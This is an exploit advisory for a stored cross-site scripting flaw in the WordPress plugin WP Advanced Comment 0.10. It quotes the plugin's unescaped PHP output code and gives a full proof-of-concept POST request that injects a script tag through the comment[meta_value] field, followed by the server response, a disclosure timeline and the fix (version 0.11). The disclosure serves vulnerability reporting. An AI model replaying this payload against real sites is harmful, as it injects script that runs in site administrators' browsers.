1. Introduction
# Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS
# Date: Mar.09.2016
# Exploit Author: Mohammad Khaleghi
# Contact: https://twitter.com/_blackmatrix
# Vendor: Ravi Shakya
# Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1
# Category: Webapps
# Software Link: https://wordpress.org/support/plugin/wp-advance-comment
2. Description
WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request , value of " name="comment[meta_value]" " parameter , it's not escaped . XSS is visible for admin
File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php
<!-- Show Comments -->
<?php
if( $option[$id]['other']['comment_position'] == 1 ){
echo $this->show_like_dislike_button( $value['comment_ID'] ,
$option[$id]['other'] , 'top' );
echo '<p>'.$value['comment_content'].'</p>';
echo $this->show_like_dislike_button( $value['comment_ID'] ,
$option[$id]['other'] , 'bottom' );
}?>
<!-- Get the comment meta -->
<?php
$data = get_option( 'wpad_comment_form' );
if( !empty( $data[$id] ) ):
?>
<div class="wpad_comment_meta">
<ul>
<?php
foreach( $data[$id] as $key => $value1 ){
$show_admin = isset($value1['show_admin']) ?
$value1['show_admin'] : 0; $privelage = $this->check_administrator( $show_admin );
if ( !empty( $value1['meta_key'] ) && is_numeric( $key ) && $value1['meta_key'] != 'user_name' && $value1
['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image' &&
$value1['meta_key'] != 'wpad_comment' && $privelage == true ) {
$meta_key = $value1['meta_key'];
$label = $value1['label'];
$meta_value = get_comment_meta( $value['comment_ID'] ,
$meta_key , true ); if( !empty( $meta_value ) ) {
if( $value1['custom_field'] == 'radio' ) {
$radio_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'radio' );
$this->display_comment_metas_frontend( $label , $radio_value );
}
elseif ( $value1['custom_field'] == 'checkbox' ) {
$check_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'checkbox');
$this->display_comment_metas_frontend( $label , $check_value ); }
else {
$this->display_comment_metas_frontend( $label , $meta_value );
}
}
}
}
?>
</ul>
</div>
<?php endif; ?>
<!-- Show Comments -->
3. Proof of Concept
Request :
__________________________________________________________________________
Host=127.0.0.1:8080
User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept=*/*
X-Requested-With=XMLHttpRequest
Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/
Content-Length=1399
Content-Type=multipart/form-data;
boundary=---------------------------23741051518289624461916684164
Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305 994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43 2ca5b3; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8 475032; wp-settings-time-1=1454782581; wp-settings-time-2=1454752438; wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499 1c180f; wordpress_test_cookie=WP+Cookie+check
Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache
POSTDATA =-----------------------------23741051518289624461916684164
Content-Disposition: form-data; name="action"
wpad_save_comment
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="post_id"
1
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="form_id"
417
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="email_me_on_approve"
undefined
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_value]"
bourne
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_key]"
user_name
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_value]"
jason_bourne110@yahoo.com
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_key]"
user_email
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_value]"
Hack <script>alert("Hacked")</script>
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_key]"
comment
-----------------------------
23741051518289624461916684164--
Response
______________________________________________________________________
Status=OK - 200
Date=Sat, 06 Feb 2016 18:18:43 GMT
Server=Apache X-Frame-Options=SAMEORIGIN, SAMEORIGIN X-Powered-By=PHP/5.5.29 X-Robots-Tag=noindex x-content-type-options=nosniff Expires=Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control=no-cache, must-revalidate, max-age=0 Pragma=no-cache
Content-Length=7
Keep-Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html; charset=UTF-8
4. Report Timeline
09-03-2016 : Discovered
09-03-2016 : Vendor notified
09-03-2016 : Vendor Responded
09-03-2016 : Vendor fixed the problem
5. Solution
Update to version 0.11